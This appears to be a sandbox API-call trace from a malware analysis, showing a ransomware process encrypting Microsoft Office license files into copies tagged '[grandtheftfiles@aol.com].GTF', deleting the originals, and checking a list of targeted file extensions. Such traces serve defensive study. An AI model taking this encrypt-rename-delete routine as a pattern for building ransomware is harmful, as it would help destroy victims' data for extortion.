	[0173.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0173.211] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11621) returned 1
	[0173.211] CloseHandle (hObject=0x528) returned 1
	[0173.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220
	[0173.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0173.212] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.212] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0173.212] GetLastError () returned 0x0
	[0173.212] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0173.214] WriteFile (in: hFile=0x428, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0173.216] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.216] WriteFile (in: hFile=0x428, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0173.216] SetEndOfFile (hFile=0x428) returned 1
	[0173.216] CloseHandle (hObject=0x428) returned 1
	[0173.216] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.216] SetEndOfFile (hFile=0x528) returned 1
	[0173.219] CloseHandle (hObject=0x528) returned 1
	[0173.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1
	[0173.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.220] lstrlenW (lpString=".doc") returned 4
	[0173.220] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.220] lstrlenW (lpString=".docx") returned 5
	[0173.220] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.221] lstrlenW (lpString=".pdf") returned 4
	[0173.221] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.221] lstrlenW (lpString=".xls") returned 4
	[0173.221] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.221] lstrlenW (lpString=".xlsx") returned 5
	[0173.221] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.221] lstrlenW (lpString=".ppt") returned 4
	[0173.221] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.221] lstrlenW (lpString=".zip") returned 4
	[0173.221] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.221] lstrlenW (lpString=".rar") returned 4
	[0173.221] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.221] lstrlenW (lpString=".bz2") returned 4
	[0173.221] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.221] lstrlenW (lpString=".7z") returned 3
	[0173.221] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.221] lstrlenW (lpString=".dbf") returned 4
	[0173.429] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.429] lstrlenW (lpString=".1cd") returned 4
	[0173.429] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.442] lstrlenW (lpString=".jpg") returned 4
	[0173.442] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.442] lstrlenW (lpString=".doc") returned 4
	[0173.455] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.455] lstrlenW (lpString=".docx") returned 5
	[0173.455] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.456] lstrlenW (lpString=".pdf") returned 4
	[0173.456] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.457] lstrlenW (lpString=".xls") returned 4
	[0173.457] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.457] lstrlenW (lpString=".xlsx") returned 5
	[0173.457] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.457] lstrlenW (lpString=".ppt") returned 4
	[0173.457] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.457] lstrlenW (lpString=".zip") returned 4
	[0173.457] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.457] lstrlenW (lpString=".rar") returned 4
	[0173.457] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.457] lstrlenW (lpString=".bz2") returned 4
	[0173.457] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.457] lstrlenW (lpString=".7z") returned 3
	[0173.457] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.457] lstrlenW (lpString=".dbf") returned 4
	[0173.457] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.457] lstrlenW (lpString=".1cd") returned 4
	[0173.457] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0173.457] lstrlenW (lpString=".jpg") returned 4
	[0173.458] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.458] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.458] lstrlenW (lpString="HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 35
	[0173.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.458] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11613) returned 1
	[0173.458] CloseHandle (hObject=0x48c) returned 1
	[0173.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220
	[0173.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.459] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.459] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.460] GetLastError () returned 0x0
	[0173.460] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d5d, lpOverlapped=0x0) returned 1
	[0173.462] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0173.463] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.463] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0173.463] SetEndOfFile (hFile=0x550) returned 1
	[0173.463] CloseHandle (hObject=0x550) returned 1
	[0173.463] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.463] SetEndOfFile (hFile=0x48c) returned 1
	[0173.467] CloseHandle (hObject=0x48c) returned 1
	[0173.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1
	[0173.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.469] lstrlenW (lpString=".doc") returned 4
	[0173.469] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.469] lstrlenW (lpString=".docx") returned 5
	[0173.469] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.469] lstrlenW (lpString=".pdf") returned 4
	[0173.469] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.469] lstrlenW (lpString=".xls") returned 4
	[0173.469] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.469] lstrlenW (lpString=".xlsx") returned 5
	[0173.469] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.469] lstrlenW (lpString=".ppt") returned 4
	[0173.469] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.469] lstrlenW (lpString=".zip") returned 4
	[0173.469] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.469] lstrlenW (lpString=".rar") returned 4
	[0173.469] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.469] lstrlenW (lpString=".bz2") returned 4
	[0173.469] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.469] lstrlenW (lpString=".7z") returned 3
	[0173.469] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.469] lstrlenW (lpString=".dbf") returned 4
	[0173.469] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.469] lstrlenW (lpString=".1cd") returned 4
	[0173.469] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.470] lstrlenW (lpString=".jpg") returned 4
	[0173.470] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.470] lstrlenW (lpString=".doc") returned 4
	[0173.470] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.470] lstrlenW (lpString=".docx") returned 5
	[0173.470] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.470] lstrlenW (lpString=".pdf") returned 4
	[0173.470] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.470] lstrlenW (lpString=".xls") returned 4
	[0173.470] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.470] lstrlenW (lpString=".xlsx") returned 5
	[0173.470] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.470] lstrlenW (lpString=".ppt") returned 4
	[0173.470] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.470] lstrlenW (lpString=".zip") returned 4
	[0173.470] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.470] lstrlenW (lpString=".rar") returned 4
	[0173.470] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.470] lstrlenW (lpString=".bz2") returned 4
	[0173.470] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.470] lstrlenW (lpString=".7z") returned 3
	[0173.470] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.470] lstrlenW (lpString=".dbf") returned 4
	[0173.470] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.471] lstrlenW (lpString=".1cd") returned 4
	[0173.471] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0173.471] lstrlenW (lpString=".jpg") returned 4
	[0173.471] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.471] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.471] lstrlenW (lpString="HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 35
	[0173.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.472] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=19958) returned 1
	[0173.472] CloseHandle (hObject=0x48c) returned 1
	[0173.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220
	[0173.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.473] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.473] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.474] GetLastError () returned 0x0
	[0173.474] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x4df6, lpOverlapped=0x0) returned 1
	[0173.476] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0173.477] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.477] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0173.477] SetEndOfFile (hFile=0x550) returned 1
	[0173.478] CloseHandle (hObject=0x550) returned 1
	[0173.478] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.478] SetEndOfFile (hFile=0x48c) returned 1
	[0173.481] CloseHandle (hObject=0x48c) returned 1
	[0173.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1
	[0173.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.483] lstrlenW (lpString=".doc") returned 4
	[0173.483] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.483] lstrlenW (lpString=".docx") returned 5
	[0173.483] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.483] lstrlenW (lpString=".pdf") returned 4
	[0173.483] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.483] lstrlenW (lpString=".xls") returned 4
	[0173.483] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.483] lstrlenW (lpString=".xlsx") returned 5
	[0173.483] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.483] lstrlenW (lpString=".ppt") returned 4
	[0173.483] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.483] lstrlenW (lpString=".zip") returned 4
	[0173.483] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.483] lstrlenW (lpString=".rar") returned 4
	[0173.483] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.483] lstrlenW (lpString=".bz2") returned 4
	[0173.483] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.483] lstrlenW (lpString=".7z") returned 3
	[0173.483] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.483] lstrlenW (lpString=".dbf") returned 4
	[0173.483] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.483] lstrlenW (lpString=".1cd") returned 4
	[0173.483] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.483] lstrlenW (lpString=".jpg") returned 4
	[0173.483] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.484] lstrlenW (lpString=".doc") returned 4
	[0173.484] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.484] lstrlenW (lpString=".docx") returned 5
	[0173.484] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.484] lstrlenW (lpString=".pdf") returned 4
	[0173.484] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.484] lstrlenW (lpString=".xls") returned 4
	[0173.484] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.484] lstrlenW (lpString=".xlsx") returned 5
	[0173.484] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.484] lstrlenW (lpString=".ppt") returned 4
